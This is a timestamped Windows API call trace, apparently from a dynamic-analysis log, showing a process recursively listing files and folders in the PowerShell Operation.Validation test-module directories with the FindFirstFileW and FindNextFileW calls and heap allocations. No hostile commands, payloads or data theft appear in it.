	[0158.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0158.643] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0158.643] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0158.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0158.643] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1
	[0158.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46903c0
	[0158.643] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics") returned 124
	[0158.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0158.644] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.644] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1
	[0158.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46a03c8
	[0158.644] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1") returned 130
	[0158.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0158.644] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.644] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46b03d0
	[0158.644] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics") returned 142
	[0158.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4642600
	[0158.644] FindNextFileW (in: hFindFile=0x4642600, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e755b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.644] FindNextFileW (in: hFindFile=0x4642600, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46c03d8
	[0158.644] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple") returned 149
	[0158.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x46423c0
	[0158.645] FindNextFileW (in: hFindFile=0x46423c0, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.645] FindNextFileW (in: hFindFile=0x46423c0, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.645] FindNextFileW (in: hFindFile=0x46423c0, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.645] FindClose (in: hFindFile=0x46423c0 | out: hFindFile=0x46423c0) returned 1
	[0158.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0158.645] FindNextFileW (in: hFindFile=0x4642600, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0158.645] FindClose (in: hFindFile=0x4642600 | out: hFindFile=0x4642600) returned 1
	[0158.645] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0158.645] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1
	[0158.645] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0
	[0158.646] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0158.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0158.646] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0158.646] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
	[0158.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0158.648] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1
	[0158.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46903c0
	[0158.649] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics") returned 124
	[0158.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0158.649] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.651] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1
	[0158.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46a03c8
	[0158.651] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1") returned 130
	[0158.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0158.651] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e85b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.651] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46b03d0
	[0158.651] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics") returned 142
	[0158.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4642c40
	[0158.651] FindNextFileW (in: hFindFile=0x4642c40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.651] FindNextFileW (in: hFindFile=0x4642c40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46c03d8
	[0158.652] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple") returned 149
	[0158.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4642d80
	[0158.652] FindNextFileW (in: hFindFile=0x4642d80, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.652] FindNextFileW (in: hFindFile=0x4642d80, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.652] FindNextFileW (in: hFindFile=0x4642d80, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.652] FindClose (in: hFindFile=0x4642d80 | out: hFindFile=0x4642d80) returned 1
	[0158.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0158.652] FindNextFileW (in: hFindFile=0x4642c40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0158.652] FindClose (in: hFindFile=0x4642c40 | out: hFindFile=0x4642c40) returned 1
	[0158.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0158.652] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0158.652] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
	[0158.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0158.653] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1
	[0158.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46a03c8
	[0158.653] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1") returned 130
